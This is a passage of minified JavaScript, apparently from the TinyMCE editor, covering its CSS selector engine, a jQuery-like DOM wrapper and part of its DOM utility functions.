0<ca(t,Si,null,[e]).length},ca.contains=function(e,t){return(e.ownerDocument||e)!==Si&&wi(e),Ai(e,t)},ca.attr=function(e,t){(e.ownerDocument||e)!==Si&&wi(e);var n=mi.attrHandle[t.toLowerCase()],r=n&&Fi.call(mi.attrHandle,t.toLowerCase())?n(e,t,!Ei):void 0;return void 0!==r?r:di.attributes||!Ei?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},ca.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},ca.uniqueSort=function(e){var t,n=[],r=0,o=0;if(xi=!di.detectDuplicates,Ci=!di.sortStable&&e.slice(0),e.sort(Ii),xi){for(;t=e[o++];)t===e[o]&&(r=n.push(o));for(;r--;)e.splice(n[r],1)}return Ci=null,e},gi=ca.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=gi(e)}else if(3===o||4===o)return e.nodeValue}else for(;t=e[r++];)n+=gi(t);return n},(mi=ca.selectors={cacheLength:50,createPseudo:fa,match:ta,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(sa,fi),e[3]=(e[3]||e[4]||e[5]||"").replace(sa,fi),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||ca.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&ca.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return ta.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&Zi.test(n)&&(t=hi(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(sa,fi).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=Bi[e+" "];return t||(t=new RegExp("(^|"+$i+")"+e+"("+$i+"|$)"))&&Bi(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!=Mi&&e.getAttribute("class")||"")})},ATTR:function(n,r,o){return function(e){var t=ca.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===o:"!="===r?t!==o:"^="===r?o&&0===t.indexOf(o):"*="===r?o&&-1<t.indexOf(o):"$="===r?o&&t.slice(-o.length)===o:"~="===r?-1<(" "+t+" ").indexOf(o):"|="===r&&(t===o||t.slice(0,o.length+1)===o+"-"))}},CHILD:function(m,e,t,g,p){var h="nth"!==m.slice(0,3),v="last"!==m.slice(-4),b="of-type"===e;return 1===g&&0===p?function(e){return!!e.parentNode}:function(e,t,n){var r,o,i,a,u,s,c=h!=v?"nextSibling":"previousSibling",l=e.parentNode,f=b&&e.nodeName.toLowerCase(),d=!n&&!b;if(l){if(h){for(;c;){for(i=e;i=i[c];)if(b?i.nodeName.toLowerCase()===f:1===i.nodeType)return!1;s=c="only"===m&&!s&&"nextSibling"}return!0}if(s=[v?l.firstChild:l.lastChild],v&&d){for(u=(r=(o=l[Ri]||(l[Ri]={}))[m]||[])[0]===Ti&&r[1],a=r[0]===Ti&&r[2],i=u&&l.childNodes[u];i=++u&&i&&i[c]||(a=u=0)||s.pop();)if(1===i.nodeType&&++a&&i===e){o[m]=[Ti,u,a];break}}else if(d&&(r=(e[Ri]||(e[Ri]={}))[m])&&r[0]===Ti)a=r[1];else for(;(i=++u&&i&&i[c]||(a=u=0)||s.pop())&&((b?i.nodeName.toLowerCase()!==f:1!==i.nodeType)||!++a||(d&&((i[Ri]||(i[Ri]={}))[m]=[Ti,a]),i!==e)););return(a-=p)===g||a%g==0&&0<=a/g}}},PSEUDO:function(e,i){var t,a=mi.pseudos[e]||mi.setFilters[e.toLowerCase()]||ca.error("unsupported pseudo: "+e);return a[Ri]?a(i):1<a.length?(t=[e,e,"",i],mi.setFilters.hasOwnProperty(e.toLowerCase())?fa(function(e,t){for(var n,r=a(e,i),o=r.length;o--;)e[n=qi.call(e,r[o])]=!(t[n]=r[o])}):function(e){return a(e,0,t)}):a}},pseudos:{not:fa(function(e){var r=[],o=[],u=vi(e.replace(Yi,"$1"));return u[Ri]?fa(function(e,t,n,r){for(var o,i=u(e,null,r,[]),a=e.length;a--;)(o=i[a])&&(e[a]=!(t[a]=o))}):function(e,t,n){return r[0]=e,u(r,null,n,o),r[0]=null,!o.pop()}}),has:fa(function(t){return function(e){return 0<ca(t,e).length}}),contains:fa(function(t){return t=t.replace(sa,fi),function(e){return-1<(e.textContent||e.innerText||gi(e)).indexOf(t)}}),lang:fa(function(n){return ea.test(n||"")||ca.error("unsupported lang: "+n),n=n.replace(sa,fi).toLowerCase(),function(e){var t;do{if(t=Ei?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=window.location&&window.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===Ni},focus:function(e){return e===Si.activeElement&&(!Si.hasFocus||Si.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return!1===e.disabled},disabled:function(e){return!0===e.disabled},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!mi.pseudos.empty(e)},header:function(e){return ra.test(e.nodeName)},input:function(e){return na.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:ma(function(){return[0]}),last:ma(function(e,t){return[t-1]}),eq:ma(function(e,t,n){return[n<0?n+t:n]}),even:ma(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:ma(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:ma(function(e,t,n){for(var r=n<0?n+t:n;0<=--r;)e.push(r);return e}),gt:ma(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=mi.pseudos.eq,Y(["radio","checkbox","file","password","image"],function(e){var t;mi.pseudos[e]=(t=e,function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t})}),Y(["submit","reset"],function(e){var n;mi.pseudos[e]=(n=e,function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n})}),pa.prototype=mi.filters=mi.pseudos,mi.setFilters=new pa,hi=ca.tokenize=function(e,t){var n,r,o,i,a,u,s,c=Pi[e+" "];if(c)return t?0:c.slice(0);for(a=e,u=[],s=mi.preFilter;a;){for(i in n&&!(r=Gi.exec(a))||(r&&(a=a.slice(r[0].length)||a),u.push(o=[])),n=!1,(r=Ji.exec(a))&&(n=r.shift(),o.push({value:n,type:r[0].replace(Yi," ")}),a=a.slice(n.length)),mi.filter)mi.filter.hasOwnProperty(i)&&(!(r=ta[i].exec(a))||s[i]&&!(r=s[i](r))||(n=r.shift(),o.push({value:n,type:i,matches:r}),a=a.slice(n.length)));if(!n)break}return t?a.length:a?ca.error(e):Pi(e,u).slice(0)},vi=ca.compile=function(e,t){var n,h,v,b,y,r=[],o=[],i=Li[e+" "];if(!i){for(n=(t=t||hi(e)).length;n--;)((i=function e(t){for(var o,n,r,i=t.length,a=mi.relative[t[0].type],u=a||mi.relative[" "],s=a?1:0,c=va(function(e){return e===o},u,!0),l=va(function(e){return-1<qi.call(o,e)},u,!0),f=[function(e,t,n){var r=!a&&(n||t!==yi)||((o=t).nodeType?c:l)(e,t,n);return o=null,r}];s<i;s++)if(n=mi.relative[t[s].type])f=[va(ba(f),n)];else{if((n=mi.filter[t[s].type].apply(null,t[s].matches))[Ri]){for(r=++s;r<i&&!mi.relative[t[r].type];r++);return function e(m,g,p,h,v,t){return h&&!h[Ri]&&(h=e(h)),v&&!v[Ri]&&(v=e(v,t)),fa(function(e,t,n,r){var o,i,a,u=[],s=[],c=t.length,l=e||function(e,t,n){for(var r=0,o=t.length;r<o;r++)ca(e,t[r],n);return n}(g||"*",n.nodeType?[n]:n,[]),f=!m||!e&&g?l:ya(l,u,m,n,r),d=p?v||(e?m:c||h)?[]:t:f;if(p&&p(f,d,n,r),h)for(o=ya(d,s),h(o,[],n,r),i=o.length;i--;)(a=o[i])&&(d[s[i]]=!(f[s[i]]=a));if(e){if(v||m){if(v){for(o=[],i=d.length;i--;)(a=d[i])&&o.push(f[i]=a);v(null,d=[],o,r)}for(i=d.length;i--;)(a=d[i])&&-1<(o=v?qi.call(e,a):u[i])&&(e[o]=!(t[o]=a))}}else d=ya(d===t?d.splice(c,d.length):d),v?v(null,t,d,r):ji.apply(t,d)})}(1<s&&ba(f),1<s&&ha(t.slice(0,s-1).concat({value:" "===t[s-2].type?"*":""})).replace(Yi,"$1"),n,s<r&&e(t.slice(s,r)),r<i&&e(t=t.slice(r)),r<i&&ha(t))}f.push(n)}return ba(f)}(t[n]))[Ri]?r:o).push(i);(i=Li(e,(h=o,b=0<(v=r).length,y=0<h.length,b?fa(a):a))).selector=e}function a(e,t,n,r,o){var i,a,u,s=0,c="0",l=e&&[],f=[],d=yi,m=e||y&&mi.find.TAG("*",o),g=Ti+=null==d?1:Math.random()||.1,p=m.length;for(o&&(yi=t!==Si&&t);c!==p&&null!=(i=m[c]);c++){if(y&&i){for(a=0;u=h[a++];)if(u(i,t,n)){r.push(i);break}o&&(Ti=g)}b&&((i=!u&&i)&&s--,e&&l.push(i))}if(s+=c,b&&c!==s){for(a=0;u=v[a++];)u(l,f,t,n);if(e){if(0<s)for(;c--;)l[c]||f[c]||(f[c]=zi.call(r));f=ya(f)}ji.apply(r,f),o&&!e&&0<f.length&&1<s+v.length&&ca.uniqueSort(r)}return o&&(Ti=g,yi=d),l}return i},bi=ca.select=function(e,t,n,r){var o,i,a,u,s,c="function"==typeof e&&e,l=!r&&hi(e=c.selector||e);if(n=n||[],1===l.length){if(2<(i=l[0]=l[0].slice(0)).length&&"ID"===(a=i[0]).type&&di.getById&&9===t.nodeType&&Ei&&mi.relative[i[1].type]){if(!(t=(mi.find.ID(a.matches[0].replace(sa,fi),t)||[])[0]))return n;c&&(t=t.parentNode),e=e.slice(i.shift().value.length)}for(o=ta.needsContext.test(e)?0:i.length;o--&&(a=i[o],!mi.relative[u=a.type]);)if((s=mi.find[u])&&(r=s(a.matches[0].replace(sa,fi),aa.test(i[0].type)&&ga(t.parentNode)||t))){if(i.splice(o,1),!(e=r.length&&ha(i)))return ji.apply(n,r),n;break}}return(c||vi(e,l))(r,t,!Ei,n,aa.test(e)&&ga(t.parentNode)||t),n},di.sortStable=Ri.split("").sort(Ii).join("")===Ri,di.detectDuplicates=!!xi,wi(),di.sortDetached=!0;var Ra=document,Da=Array.prototype.push,Ta=Array.prototype.slice,Oa=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,Ba=ci.Event,Pa=Nt.makeMap("children,contents,next,prev"),La=function(e,t,n,r){var o;if(xa(t))t=wa(t,Va(e[0]));else if(t.length&&!t.nodeType){if(t=Ya.makeArray(t),r)for(o=t.length-1;0<=o;o--)La(e,t[o],n,r);else for(o=0;o<t.length;o++)La(e,t[o],n,r);return e}if(t.nodeType)for(o=e.length;o--;)n.call(e[o],t);return e},Ia=Nt.makeMap("fillOpacity fontWeight lineHeight opacity orphans widows zIndex zoom"," "),Ma=Nt.makeMap("checked compact declare defer disabled ismap multiple nohref noshade nowrap readonly selected"," "),Fa={for:"htmlFor",class:"className",readonly:"readOnly"},Ua={float:"cssFloat"},za={},Ha={},ja=/^\s*|\s*$/g,Va=function(e){return e?9===e.nodeType?e:e.ownerDocument:Ra};function qa(e,t,n){var r=[],o=e[t];for("string"!=typeof n&&n instanceof Ya&&(n=n[0]);o&&9!==o.nodeType;){if(void 0!==n){if(o===n)break;if("string"==typeof n&&Ya(o).is(n))break}1===o.nodeType&&r.push(o),o=o[t]}return r}function $a(e,t,n,r){var o=[];for(r instanceof Ya&&(r=r[0]);e;e=e[t])if(!n||e.nodeType===n){if(void 0!==r){if(e===r)break;if("string"==typeof r&&Ya(e).is(r))break}o.push(e)}return o}function Wa(e,t,n){for(e=e[t];e;e=e[t])if(e.nodeType===n)return e;return null}function Ka(e,t){var n=t.attr("style"),r=e.serialize(e.parse(n),t[0].nodeName)||null;t.attr("data-mce-style",r)}function Xa(e,t){var n,r,o=0;if(e)for(n=e.nodeType,e=e.previousSibling;e;e=e.previousSibling)r=e.nodeType,(!t||3!==r||r!==n&&e.nodeValue.length)&&(o++,n=r);return o}Ea.fn=Ea.prototype={constructor:Ea,selector:"",context:null,length:0,init:function(e,t){var n,r,o=this;if(!e)return o;if(e.nodeType)return o.context=o[0]=e,o.length=1,o;if(t&&t.nodeType)o.context=t;else{if(t)return Ya(e).attr(t);o.context=t=document}if(xa(e)){if(!(n="<"===(o.selector=e).charAt(0)&&">"===e.charAt(e.length-1)&&3<=e.length?[null,e,null]:Oa.exec(e)))return Ya(t).find(e);if(n[1])for(r=wa(e,Va(t)).firstChild;r;)Da.call(o,r),r=r.nextSibling;else{if(!(r=Va(t).getElementById(n[2])))return o;if(r.id!==n[2])return o.find(e);o.length=1,o[0]=r}}else this.add(e,!1);return o},toArray:function(){return Nt.toArray(this)},add:function(e,t){var n,r;if(xa(e))return this.add(Ya(e));if(!1!==t)for(n=Ya.unique(this.toArray().concat(Ya.makeArray(e))),this.length=n.length,r=0;r<n.length;r++)this[r]=n[r];else Da.apply(this,Ya.makeArray(e));return this},attr:function(t,n){var e,r=this;if("object"==typeof t)_a(t,function(e,t){r.attr(e,t)});else{if(!Ca(n)){if(r[0]&&1===r[0].nodeType){if((e=za[t])&&e.get)return e.get(r[0],t);if(Ma[t])return r.prop(t)?t:void 0;null===(n=r[0].getAttribute(t,2))&&(n=void 0)}return n}this.each(function(){var e;1===this.nodeType&&((e=za[t])&&e.set?e.set(this,n):null===n?this.removeAttribute(t,2):this.setAttribute(t,n,2))})}return r},removeAttr:function(e){return this.attr(e,null)},prop:function(e,t){var n=this;if("object"==typeof(e=Fa[e]||e))_a(e,function(e,t){n.prop(e,t)});else{if(!Ca(t))return n[0]&&n[0].nodeType&&e in n[0]?n[0][e]:t;this.each(function(){1===this.nodeType&&(this[e]=t)})}return n},css:function(t,n){function e(e){return e.replace(/-(\D)/g,function(e,t){return t.toUpperCase()})}function r(e){return e.replace(/[A-Z]/g,function(e){return"-"+e})}var o,i,a=this;if("object"==typeof t)_a(t,function(e,t){a.css(e,t)});else if(Ca(n))t=e(t),"number"!=typeof n||Ia[t]||(n=n.toString()+"px"),a.each(function(){var e=this.style;if((i=Ha[t])&&i.set)i.set(this,n);else{try{this.style[Ua[t]||t]=n}catch(e){}null!==n&&""!==n||(e.removeProperty?e.removeProperty(r(t)):e.removeAttribute(t))}});else{if(o=a[0],(i=Ha[t])&&i.get)return i.get(o);if(!o.ownerDocument.defaultView)return o.currentStyle?o.currentStyle[e(t)]:"";try{return o.ownerDocument.defaultView.getComputedStyle(o,null).getPropertyValue(r(t))}catch(e){return}}return a},remove:function(){for(var e,t=this.length;t--;)e=this[t],Ba.clean(e),e.parentNode&&e.parentNode.removeChild(e);return this},empty:function(){for(var e,t=this.length;t--;)for(e=this[t];e.firstChild;)e.removeChild(e.firstChild);return this},html:function(t){var n;if(Ca(t)){n=this.length;try{for(;n--;)this[n].innerHTML=t}catch(e){Ya(this[n]).empty().append(t)}return this}return this[0]?this[0].innerHTML:""},text:function(e){var t;if(Ca(e)){for(t=this.length;t--;)"innerText"in this[t]?this[t].innerText=e:this[0].textContent=e;return this}return this[0]?this[0].innerText||this[0].textContent:""},append:function(){return La(this,arguments,function(e){(1===this.nodeType||this.host&&1===this.host.nodeType)&&this.appendChild(e)})},prepend:function(){return La(this,arguments,function(e){(1===this.nodeType||this.host&&1===this.host.nodeType)&&this.insertBefore(e,this.firstChild)},!0)},before:function(){return this[0]&&this[0].parentNode?La(this,arguments,function(e){this.parentNode.insertBefore(e,this)}):this},after:function(){return this[0]&&this[0].parentNode?La(this,arguments,function(e){this.parentNode.insertBefore(e,this.nextSibling)},!0):this},appendTo:function(e){return Ya(e).append(this),this},prependTo:function(e){return Ya(e).prepend(this),this},replaceWith:function(e){return this.before(e).remove()},wrap:function(e){return Na(this,e)},wrapAll:function(e){return Na(this,e,!0)},wrapInner:function(e){return this.each(function(){Ya(this).contents().wrapAll(e)}),this},unwrap:function(){return this.parent().each(function(){Ya(this).replaceWith(this.childNodes)})},clone:function(){var e=[];return this.each(function(){e.push(this.cloneNode(!0))}),Ya(e)},addClass:function(e){return this.toggleClass(e,!0)},removeClass:function(e){return this.toggleClass(e,!1)},toggleClass:function(o,i){var e=this;return"string"!=typeof o||(-1!==o.indexOf(" ")?_a(o.split(" "),function(){e.toggleClass(this,i)}):e.each(function(e,t){var n,r=Sa(t,o);r!==i&&(n=t.className,r?t.className=ka((" "+n+" ").replace(" "+o+" "," ")):t.className+=n?" "+o:o)})),e},hasClass:function(e){return Sa(this[0],e)},each:function(e){return _a(this,e)},on:function(e,t){return this.each(function(){Ba.bind(this,e,t)})},off:function(e,t){return this.each(function(){Ba.unbind(this,e,t)})},trigger:function(e){return this.each(function(){"object"==typeof e?Ba.fire(this,e.type,e):Ba.fire(this,e)})},show:function(){return this.css("display","")},hide:function(){return this.css("display","none")},slice:function(){return Ya(Ta.apply(this,arguments))},eq:function(e){return-1===e?this.slice(e):this.slice(e,+e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},find:function(e){for(var t=[],n=0,r=this.length;n<r;n++)Ya.find(e,this[n],t);return Ya(t)},filter:function(n){return Ya("function"==typeof n?Aa(this.toArray(),function(e,t){return n(t,e)}):Ya.filter(n,this.toArray()))},closest:function(n){var r=[];return n instanceof Ya&&(n=n[0]),this.each(function(e,t){for(;t;){if("string"==typeof n&&Ya(t).is(n)){r.push(t);break}if(t===n){r.push(t);break}t=t.parentNode}}),Ya(r)},offset:function(e){var t,n,r,o,i=0,a=0;return e?this.css(e):((t=this[0])&&(r=(n=t.ownerDocument).documentElement,t.getBoundingClientRect&&(i=(o=t.getBoundingClientRect()).left+(r.scrollLeft||n.body.scrollLeft)-r.clientLeft,a=o.top+(r.scrollTop||n.body.scrollTop)-r.clientTop)),{left:i,top:a})},push:Da,sort:Array.prototype.sort,splice:Array.prototype.splice},Nt.extend(Ea,{extend:Nt.extend,makeArray:function(e){return e&&e===e.window||e.nodeType?[e]:Nt.toArray(e)},inArray:function(e,t){var n;if(t.indexOf)return t.indexOf(e);for(n=t.length;n--;)if(t[n]===e)return n;return-1},isArray:Nt.isArray,each:_a,trim:ka,grep:Aa,find:ca,expr:ca.selectors,unique:ca.uniqueSort,text:ca.getText,contains:ca.contains,filter:function(e,t,n){var r=t.length;for(n&&(e=":not("+e+")");r--;)1!==t[r].nodeType&&t.splice(r,1);return 1===t.length?Ya.find.matchesSelector(t[0],e)?[t[0]]:[]:Ya.find.matches(e,t)}}),_a({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return qa(e,"parentNode")},next:function(e){return Wa(e,"nextSibling",1)},prev:function(e){return Wa(e,"previousSibling",1)},children:function(e){return $a(e.firstChild,"nextSibling",1)},contents:function(e){return Nt.toArray(("iframe"===e.nodeName?e.contentDocument||e.contentWindow.document:e).childNodes)}},function(r,o){Ea.fn[r]=function(t){var n=[];this.each(function(){var e=o.call(n,this,t,n);e&&(Ya.isArray(e)?n.push.apply(n,e):n.push(e))}),1<this.length&&(Pa[r]||(n=Ya.unique(n)),0===r.indexOf("parents")&&(n=n.reverse()));var e=Ya(n);return t?e.filter(t):e}}),_a({parentsUntil:function(e,t){return qa(e,"parentNode",t)},nextUntil:function(e,t){return $a(e,"nextSibling",1,t).slice(1)},prevUntil:function(e,t){return $a(e,"previousSibling",1,t).slice(1)}},function(o,i){Ea.fn[o]=function(t,e){var n=[];this.each(function(){var e=i.call(n,this,t,n);e&&(Ya.isArray(e)?n.push.apply(n,e):n.push(e))}),1<this.length&&(n=Ya.unique(n),0!==o.indexOf("parents")&&"prevUntil"!==o||(n=n.reverse()));var r=Ya(n);return e?r.filter(e):r}}),Ea.fn.is=function(e){return!!e&&0<this.filter(e).length},Ea.fn.init.prototype=Ea.fn,Ea.overrideDefaults=function(n){var r,o=function(e,t){return r=r||n(),0===arguments.length&&(e=r.element),t=t||r.context,new o.fn.init(e,t)};return Ya.extend(o,this),o},Ea.attrHooks=za,Ea.cssHooks=Ha;var Ya=Ea,Ga=Nt.each,Ja=Nt.grep,Qa=xt.ie,Za=/^([a-z0-9],?)+$/i,eu=function(a,u){function s(e){return e&&a&&X(e)?a.getElementById(e):e}function c(e){return H("string"==typeof e?s(e):e)}function r(e,t,n){var r,o,i=c(e);return void 0===(o=i.length?(r=W[t])&&r.get?r.get(i,t):i.attr(t):o)?n||"":o}function o(e){var t=s(e);return t?t.attributes:[]}function i(e,t,n){""===n&&(n=null);var r,o=c(e),i=o.attr(t);o.length&&((r=W[t])&&r.set?r.set(o,n,t):o.attr(t,n),i!==n&&u.onSetAttrib&&u.onSetAttrib({attrElm:o,attrName:t,attrValue:n}))}function l(){return u.root_element||a.body}function f(e,t){return function(e,t,n){var r,o=0,i=0,a=e.ownerDocument;if(n=n||e,t){if(n===e&&t.getBoundingClientRect&&"static"===wn(Et.fromDom(e),"position")){var u=t.getBoundingClientRect();return{x:o=u.left+(a.documentElement.scrollLeft||e.scrollLeft)-a.documentElement.clientLeft,y:i=u.top+(a.documentElement.scrollTop||e.scrollTop)-a.documentElement.clientTop}}for(var s=t;s&&s!==n&&s.nodeType&&!kn(s,n);){var c=s;o+=c.offsetLeft||0,i+=c.offsetTop||0,s=c.offsetParent}for(s=t.parentNode;s&&s!==n&&s.nodeType&&!kn(s,n);)o-=s.scrollLeft||0,i-=s.scrollTop||0,s=s.parentNode;i+=(r=Et.fromDom(t),er.isFirefox()&&"table"===kt(r)?En(Tn(r)).filter(function(e){return"caption"===kt(e)}).bind(function(o){return En(It(o)).map(function(e){var t=e.dom.offsetTop,n=o.dom.offsetTop,r=o.dom.offsetHeight;return t<=n?-r:0})}).getOr(0):0)}return{x:o,y:i}}(a.body,s(e),t)}function d(e,t,n){var r=c(e);return n?r.css(t):("float"===(t=t.replace(/-(\D)/g,function(e,t){return t.toUpperCase()}))&&(t=xt.browser.isIE()?"styleFloat":"cssFloat"),r[0]&&r[0].style?r[0].style[t]:void 0)}function m(e){var t=d(e=s(e),"width"),n=d(e,"height");return-1===t.indexOf("px")&&(t=0),-1===n.indexOf("px")&&(n=0),{w:parseInt(t,10)||e.offsetWidth||e.clientWidth,h:parseInt(n,10)||e.offsetHeight||e.clientHeight}}function g(e,t){if(!e)return!1;if(!Array.isArray(e)){if("*"===t)return 1===e.nodeType;if(Za.test(t)){for(var n=t.toLowerCase().split(/,/),r=e.nodeName.toLowerCase(),o=n.length-1;0<=o;o--)if(n[o]===r)return!0;return!1}if(e.nodeType&&1!==e.nodeType)return!1}var i=Array.isArray(e)?e:[e];return 0<ca(t,i[0].ownerDocument||i[0],null,i).length}function p(e,t,n,r){var o,i=[],a=s(e);for(r=void 0===r,n=n||("BODY"!==l().nodeName?l().parentNode:null),Nt.is(t,"string")&&(t="*"===(o=t)?function(e){return 1===e.nodeType}:function(e){return g(e,o)});a&&!(a===n||K(a.nodeType)||$n(a)||Wn(a));){if(!t||"function"==typeof t&&t(a)){if(!r)return[a];i.push(a)}a=a.parentNode}return r?i:null}function n(e,t,n){var r=t;if(e)for("string"==typeof t&&(r=function(e){return g(e,t)}),e=e[n];e;e=e[n])if("function"==typeof r&&r(e))return e;return null}function h(e,n,r){var o,t="string"==typeof e?s(e):e;return!!t&&(Nt.isArray(t)&&(t.length||0===t.length)?(o=[],Ga(t,function(e,t){e&&o.push(n.call(r,"string"==typeof e?s(e):e,t))}),o):n.call(r||this,t))}function v(e,t){c(e).each(function(e,n){Ga(t,function(e,t){i(n,t,e)})})}function b(e,n){var t=c(e);Qa?t.each(function(e,t){if(!1!==t.canHaveHTML){for(;t.firstChild;)t.removeChild(t.firstChild);try{t.innerHTML="<br>"+n,t.removeChild(t.firstChild)}catch(e){Ya("<div></div>").html("<br>"+n).contents().slice(1).appendTo(t)}return n}}):t.html(n)}function y(e,n,r,o,i){return h(e,function(e){var t="string"==typeof n?a.createElement(n):n;return v(t,r),o&&("string"!=typeof o&&o.nodeType?t.appendChild(o):"string"==typeof o&&b(t,o)),i?t:e.appendChild(t)})}function C(e,t,n){return y(a.createElement(e),e,t,n,!0)}function x(e,t){var n=c(e);return(t?n.each(function(){for(var e;e=this.firstChild;)3===e.nodeType&&0===e.data.length?this.removeChild(e):this.parentNode.insertBefore(e,this)}):n).remove(),1<n.length?n.toArray():n[0]}function w(e,t,n){c(e).toggleClass(t,n).each(function(){""===this.className&&Ya(this).attr("class",null)})}function S(t,e,n){return h(e,function(e){return Nt.is(e,"array")&&(t=t.cloneNode(!0)),n&&Ga(Ja(e.childNodes),function(e){t.appendChild(e)}),e.parentNode.replaceChild(t,e)})}function N(e){if(Hn(e)){var t="a"===e.nodeName.toLowerCase()&&!r(e,"href")&&r(e,"id");return r(e,"name")||r(e,"data-mce-bookmark")||t?1:void 0}}function E(){return a.createRange()}function k(e){if(e&&Hn(e)){var t=e.getAttribute("data-mce-contenteditable");return t&&"inherit"!==t?t:"inherit"!==e.contentEditable?e.contentEditable:null}return null}void 0===u&&(u={});var _,A,R,D,e,t,T={},O=window,B={},P=0,L=Rr.forElement(Et.fromDom(a),{contentCssCors:u.contentCssCors,referrerPolicy:u.referrerPolicy}),I=[],M=u.schema||oo({}),F=ao({url_converter:u.url_converter,url_converter_scope:u.url_converter_scope},u.schema),U=u.ownEvents?new ci:ci.Event,z=M.getBlockElements(),H=Ya.overrideDefaults(function(){return{context:a,element:$.getRoot()}}),j=Zo.encodeAllRaw,V=function(e,t,n,r){if(Nt.isArray(e)){for(var o=e.length,i=[];o--;)i[o]=V(e[o],t,n,r);return i}return!u.collect||e!==a&&e!==O||I.push([e,t,n,r]),U.bind(e,t,n,r||$)},q=function(e,t,n){if(Nt.isArray(e)){for(var r=e.length,o=[];r--;)o[r]=q(e[r],t,n);return o}if(0<I.length&&(e===a||e===O))for(r=I.length;r--;){var i=I[r];e!==i[0]||t&&t!==i[1]||n&&n!==i[2]||U.unbind(i[0],i[1],i[2])}return U.unbind(e,t,n)},$={doc:a,settings:u,win:O,files:B,stdMode:!0,boxModel:!0,styleSheetLoader:L,boundEvents:I,styles:F,schema:M,events:U,isBlock:function(e){if("string"==typeof e)return!!z[e];if(e){var t=e.nodeType;if(t)return!(1!==t||!z[e.nodeName])}return!1},$:H,$$:c,root:null,clone:function(t,e){if(!Qa||1!==t.nodeType||e)return t.cloneNode(e);var n=a.createElement(t.nodeName);return Ga(o(t),function(e){i(n,e.nodeName,r(t,e.nodeName))}),n},getRoot:l,getViewPort:function(e){var t=tn(e);return{x:t.x,y:t.y,w:t.width,h:t.height}},getRect:function(e){var t=f(e=s(e)),n=m(e);return{x:t.x,y:t.y,w:n.w,h:n.h}},getSize:m,getParent:function(e,t,n){var r=p(e,t,n,!1);return r&&0<r.length?r[0]:null},getParents:p,get:s,getNext:function(e,t){return n(e,t,"nextSibling")},getPrev:function(e,t){return n(e,t,"previousSibling")},select:function(e,t){return ca(e,s(t)||u.root_element||a,[])},is:g,add:y,create:C,createHTML:function(e,t,n){var r,o="";for(r in o+="<"+e,t)se(t,r)&&(o+=" "+r+'="'+j(t[r])+'"');return void 0!==n?o+">"+n+"</"+e+">":o+" />"},createFragment:function(e){var t,n=a.createElement("div"),r=a.createDocumentFragment();for(r.appendChild(n),e&&(n.innerHTML=e);t=n.firstChild;)r.appendChild(t);return r.removeChild(n),r},remove:x,setStyle:function(e,t,n){var r=X(t)?c(e).css(t,n):c(e).css(t);u.update_styles&&Ka(F,r)},getStyle:d,setStyles:function(e,t){var n=c(e).css(t);u.update_styles&&Ka(F,n)},removeAllAttribs:function(e){return h(e,function(e){for(var t=e.attributes,n=t.length-1;0<=n;n--)e.removeAttributeNode(t.item(n))})},setAttrib:i,setAttribs:v,getAttrib:r,getPos:f,parseStyle:function(e){return F.parse(e)},serializeStyle:function(e,t){return F.serialize(e,t)},addStyle:function(e){var t,n;if($!==eu.DOM&&a===document){if(T[e])return;T[e]=!0}(n=a.getElementById("mceDefaultStyles"))||((n=a.createElement("style")).id="mceDefaultStyles",n.type="text/css",(t=a.getElementsByTagName("head")[0]).firstChild?t.insertBefore(n,t.firstChild):t.appendChild(n)),n.styleSheet?n.styleSheet.cssText+=e:n.appendChild(a.createTextNode(e))},loadCSS:function(e){Y((e=e||"").split(","),function(e){B[e]=!0,L.load(e,te)})},addClass:function(e,t){c(e).addClass(t)},removeClass:function(e,t){w(e,t,!1)},hasClass:function(e,t){return c(e).hasClass(t)},toggleClass:w,show:function(e){c(e).show()},hide:function(e){c(e).hide()},isHidden:function(e){return"none"===c(e).css("display")},uniqueId:function(e){return(e||"mce_")+P++},setHTML:b,getOuterHTML:function(e){var 